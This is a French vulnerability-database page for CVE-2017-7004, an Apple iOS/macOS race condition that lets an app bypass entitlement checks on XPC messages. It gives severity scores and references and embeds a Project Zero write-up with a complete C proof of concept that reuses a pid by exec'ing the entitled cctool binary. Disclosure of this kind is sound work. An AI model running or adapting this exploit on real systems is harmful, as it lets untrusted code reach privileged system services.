CVE-2017-7004 : Détail

CVE-2017-7004

7
/
Haute
5.61%V4
Local
2018-04-03
04h00 +00:00
2018-04-03
07h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

An issue was discovered in certain Apple products. iOS before 10.3.2 is affected. macOS before 10.12.5 is affected. The issue involves the "Security" component. A race condition allows attackers to bypass intended entitlement restrictions for sending XPC messages via a crafted app.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7 HIGH CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 42145

Date de publication : 2017-06-08 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1223 One way processes in userspace that offer mach services check whether they should perform an action on behalf of a client from which they have received a message is by checking whether the sender possesses a certain entitlement. These decisions are made using the audit token which is appended by the kernel to every received mach message. The audit token contains amongst other things the senders uid, gid, ruid, guid, pid and pid generation number (p_idversion.) The canonical way which userspace daemons check a message sender's entitlements is as follows: audit_token_t tok; xpc_connection_get_audit_token(conn, &tok); SecTaskRef sectask = SecTaskCreateWithAuditToken(kCFAllocatorDefault, tok); CFErrorRef err; CFTypeRef entitlement = SecTaskCopyValueForEntitlement(sectask, CFSTR("com.apple.an_entitlement_name"), &err); /* continue and check that entitlement is non-NULL, is a CFBoolean and has the value CFBooleanTrue */ The problem is that SecTaskCreateWithAuditToken only uses the pid, not also the pid generation number to build the SecTaskRef: SecTaskRef SecTaskCreateWithAuditToken(CFAllocatorRef allocator, audit_token_t token) { SecTaskRef task; task = SecTaskCreateWithPID(allocator, audit_token_to_pid(token)); ... This leaves two avenues for a sender without an entitlement to talk to a service which requires it: a) If the process can exec binaries then they can simply send the message then exec a system binary with that entitlement. This pid now maps to the entitlements of that new binary. b) If the process can't exec a binary (it's in a sandbox for example) then exploitation is still possible if the processes has the ability to crash and force the restart of a binary with that entitlement (a common case, eg via an OOM or NULL pointer deref in a mach service.) The attacker process will have to crash and force the restart of a process with the entitlement a sufficient number of times to wrap the next free pid around such that when it sends the request to the target then forces the entitled process to crash it can crash itself and have its pid reused by the respawned entitled process. Scenario b) is not so outlandish, such a setup could be achieved via a renderer bug with ability to gain code execution in new renderer processes as they are created. You would also not necessarily be restricted to just being able to send one mach message to the target service as there's no constraint that a mach message's reply port has to point back to the sending process; you could for example stash a receive right with another process or launchd so that you can still engage in a full bi-directional communication with the target service even if the audit token was always checked. The security implications of this depend on what the security guarantees of entitlements are. It's certainly the case that this enables you to talk to a far greater range of services as many system services use entitlement checks to restrict their clients to a small number of whitelisted binaries. This may also open up access to privileged information which is protected by the entitlements. This PoC just demonstrates that we can send an xpc message to a daemon which expects its clients to have the "com.apple.corecapture.manager-access" entitlement and pass the check without having that entitlement. We'll target com.apple.corecaptured which expects that only the cctool or sharingd binaries can talk to it. use an lldb invocation like: sudo lldb -w -n corecaptured then run this poc and set a breakpoint after the hasEntitlement function in the CoreCaptureDaemon library. You'll notice that the check passes and our xpc message has been received and will now be processes by the daemon. Obviously attaching the debugger like this artificially increases the race window but by for example sending many bogus large messages beforehand we could ensure the target service has many messages in its mach port queue to make the race more winnable. PoC tested on MacOS 10.12.3 (16D32) */ // ianbeer #if 0 MacOS/iOS userspace entitlement checking is racy One way processes in userspace that offer mach services check whether they should perform an action on behalf of a client from which they have received a message is by checking whether the sender possesses a certain entitlement. These decisions are made using the audit token which is appended by the kernel to every received mach message. The audit token contains amongst other things the senders uid, gid, ruid, guid, pid and pid generation number (p_idversion.) The canonical way which userspace daemons check a message sender's entitlements is as follows: audit_token_t tok; xpc_connection_get_audit_token(conn, &tok); SecTaskRef sectask = SecTaskCreateWithAuditToken(kCFAllocatorDefault, tok); CFErrorRef err; CFTypeRef entitlement = SecTaskCopyValueForEntitlement(sectask, CFSTR("com.apple.an_entitlement_name"), &err); /* continue and check that entitlement is non-NULL, is a CFBoolean and has the value CFBooleanTrue */ The problem is that SecTaskCreateWithAuditToken only uses the pid, not also the pid generation number to build the SecTaskRef: SecTaskRef SecTaskCreateWithAuditToken(CFAllocatorRef allocator, audit_token_t token) { SecTaskRef task; task = SecTaskCreateWithPID(allocator, audit_token_to_pid(token)); ... This leaves two avenues for a sender without an entitlement to talk to a service which requires it: a) If the process can exec binaries then they can simply send the message then exec a system binary with that entitlement. This pid now maps to the entitlements of that new binary. b) If the process can't exec a binary (it's in a sandbox for example) then exploitation is still possible if the processes has the ability to crash and force the restart of a binary with that entitlement (a common case, eg via an OOM or NULL pointer deref in a mach service.) The attacker process will have to crash and force the restart of a process with the entitlement a sufficient number of times to wrap the next free pid around such that when it sends the request to the target then forces the entitled process to crash it can crash itself and have its pid reused by the respawned entitled process. Scenario b) is not so outlandish, such a setup could be achieved via a renderer bug with ability to gain code execution in new renderer processes as they are created. You would also not necessarily be restricted to just being able to send one mach message to the target service as there's no constraint that a mach message's reply port has to point back to the sending process; you could for example stash a receive right with another process or launchd so that you can still engage in a full bi-directional communication with the target service even if the audit token was always checked. The security implications of this depend on what the security guarantees of entitlements are. It's certainly the case that this enables you to talk to a far greater range of services as many system services use entitlement checks to restrict their clients to a small number of whitelisted binaries. This may also open up access to privileged information which is protected by the entitlements. This PoC just demonstrates that we can send an xpc message to a daemon which expects its clients to have the "com.apple.corecapture.manager-access" entitlement and pass the check without having that entitlement. We'll target com.apple.corecaptured which expects that only the cctool or sharingd binaries can talk to it. use an lldb invocation like: sudo lldb -w -n corecaptured then run this poc and set a breakpoint after the hasEntitlement function in the CoreCaptureDaemon library. You'll notice that the check passes and our xpc message has been received and will now be processes by the daemon. Obviously attaching the debugger like this artificially increases the race window but by for example sending many bogus large messages beforehand we could ensure the target service has many messages in its mach port queue to make the race more winnable. PoC tested on MacOS 10.12.3 (16D32) #endif #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <mach/mach.h> #include <xpc/xpc.h> void exec_blocking(char* target, char** argv, char** envp) { // create the pipe int pipefds[2]; pipe(pipefds); int read_end = pipefds[0]; int write_end = pipefds[1]; // make the pipe nonblocking so we can fill it int flags = fcntl(write_end, F_GETFL); flags |= O_NONBLOCK; fcntl(write_end, F_SETFL, flags); // fill up the write end int ret, count = 0; do { char ch = ' '; ret = write(write_end, &ch, 1); count++; } while (!(ret == -1 && errno == EAGAIN)); printf("wrote %d bytes to pipe buffer\n", count-1); // make it blocking again flags = fcntl(write_end, F_GETFL); flags &= ~O_NONBLOCK; fcntl(write_end, F_SETFL, flags); // set the pipe write end to stdout/stderr dup2(write_end, 1); dup2(write_end, 2); execve(target, argv, envp); } xpc_connection_t connect(char* service_name){ xpc_connection_t conn = xpc_connection_create_mach_service(service_name, NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(conn, ^(xpc_object_t event) { xpc_type_t t = xpc_get_type(event); if (t == XPC_TYPE_ERROR){ printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION)); } printf("received an event\n"); }); xpc_connection_resume(conn); return conn; } int main(int argc, char** argv, char** envp) { xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "CCConfig", "hello from a sender without entitlements!"); xpc_connection_t conn = connect("com.apple.corecaptured"); xpc_connection_send_message(conn, msg); // exec a binary with the entitlement to talk to that daemon // make sure it doesn't exit by giving it a full pipe for stdout/stderr char* target_binary = "/System/Library/PrivateFrameworks/CoreCaptureControl.framework/Versions/A/Resources/cctool"; char* target_argv[] = {target_binary, NULL}; exec_blocking(target_binary, target_argv, envp); return 0; }

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (excluding) 10.3.2

Apple>>Mac_os_x >> Version To (excluding) 10.12.5

Références

https://support.apple.com/HT207797
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/42145/
Tags : exploit, x_refsource_EXPLOIT-DB
https://support.apple.com/HT207798
Tags : x_refsource_CONFIRM